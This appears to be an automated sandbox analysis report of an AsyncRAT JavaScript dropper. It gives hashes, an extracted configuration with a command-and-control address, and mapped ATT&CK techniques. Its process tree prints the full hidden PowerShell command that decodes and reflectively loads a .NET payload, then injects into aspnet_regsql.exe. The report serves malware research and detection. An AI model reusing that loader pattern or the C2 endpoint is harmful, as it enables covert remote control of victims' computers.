asyncrat | 7ff5d92abb9f3c867339d7b849a131a1e8f941bfa91d3fd21ffdf2068dbd3995

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/08/2026, 17:17

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General

Target
7ff5d92abb9f3c867339d7b849a131a1e8f941bfa91d3fd21ffdf2068dbd3995.js
Size 24.9MB
Sample260810-vtygfahe27
SHA256 7ff5d92abb9f3c867339d7b849a131a1e8f941bfa91d3fd21ffdf2068dbd3995
MD5 f0ce5b0e89d1c0d615775bf44b73c917
SHA1 e4756763192f72f12d9c4ffd25830d5d445a6eac
SHA512 be1ac51963ae7aaf5940d5b5d78d71c462759da47140859321873f5daa18839c11561c6552a24b9103845e7220f6c3f85208d70325733d13b0aa040b06339253
SSDEEP 768:tD09rv+5MPX9He7lnAoQqQrQj28hek09SRR9cDjB86tVULxwK6SYZkRVEGXyrpu1:kgaK
TLSH
T1A7475EAE6C4EA347E1BF52CF843DC5F9D130BC4B34A18056FE16B6789E69B058586E0C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

campo discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

CAMPO

178.16.52.100:8848

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	248	1908	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	248	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
248	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 248 set thread context of 872	248	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
248	powershell.exe
248	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	248	powershell.exe
Token: SeDebugPrivilege	872	aspnet_regsql.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 248 wrote to memory of 872	248	powershell.exe	92
PID 248 wrote to memory of 872	248	powershell.exe	92
PID 248 wrote to memory of 872	248	powershell.exe	92
PID 248 wrote to memory of 872	248	powershell.exe	92
PID 248 wrote to memory of 872	248	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\7ff5d92abb9f3c867339d7b849a131a1e8f941bfa91d3fd21ffdf2068dbd3995.js
1⤵
PID:3412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('GGQ+pq0DJms8inh+gB2u5ORJwD2r6jYE7viGSXNGC/jc/IT9Xpf1yk3ocyckKTw5I1XCA2VAIGp0KL9Jf/mZeZud3TiuZfjHK+4CoUHwHgs=','','gex54IfCuZu0np13oIV10XxDKd0/74wiUgjcKPjHtcyzkA9cIe1Q3/DjBdW/3vsW','Dx4tNix/HHXI+YRArW+PMM0kuEgGAHnIJ2AZqGZUII8=','pF91Qrg0At5wuoPQ7wLctUQZlwm/4mgWp5hEulKwQfs=','','fjW8uWhR8onCVGLGu6LxqVMs7OyIZlbFuI4ycC2exRM=','','8vRJ+dHNcovU76wNhtp8o8s6BxIbqBsF3kzaXIPcVFQ=','xfM+Y7dOzg8rUOzlXfZi+d9Q7wjtGHgI3fLcc3sGiRIz02ovYMtnJ9941d78xbgF','ai50DbwibyfTRl+X61Q4YwcQi3GIUA48WXszFzFSTJw=','4xi1t45DhAP/JHMHhlYlEdNcYRxJAxnPmweUhjFeNKw=','49JIuwPWbgu9mgRTxBhBnmURWkuTNFvNzFcGuDTdkK4=','','RTjmm3owCI4vNn0i6yh/BX4Q6czw+CWh2lfIKlGxnUA=','wGlOSjv3w2h3Zm5BFOZO1C2OxkMWJ6tDtzpgizkM1q0=','','','','ahtPM8esGdUCzbrDYCFPgt+Ng8DztwpdcTx0BNVZ2iA=','KZDEgyHm0twqf2gb6e+dWxAoAzoO3IuTD4nDdzJDaks=')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:248
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/248-12-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/248-13-0x00000222AE030000-0x00000222AE0C2000-memory.dmp

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memory/248-2-0x00000222C8A90000-0x00000222C8AB2000-memory.dmp

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memory/248-5-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-6-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-7-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-8-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-9-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-10-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-14-0x00000222AE0C0000-0x00000222AE0CA000-memory.dmp

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memory/248-1-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-0-0x00007FFF84B0F000-0x00007FFF84B10000-memory.dmp

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memory/248-11-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-15-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-19-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/248-16-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

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memory/872-17-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/872-20-0x0000000074E22000-0x0000000074E23000-memory.dmp

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memory/872-23-0x0000000006550000-0x00000000065EC000-memory.dmp

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memory/872-24-0x0000000007240000-0x00000000077FA000-memory.dmp

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memory/872-25-0x0000000006CF0000-0x0000000006D56000-memory.dmp

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memory/872-26-0x0000000074E22000-0x0000000074E23000-memory.dmp

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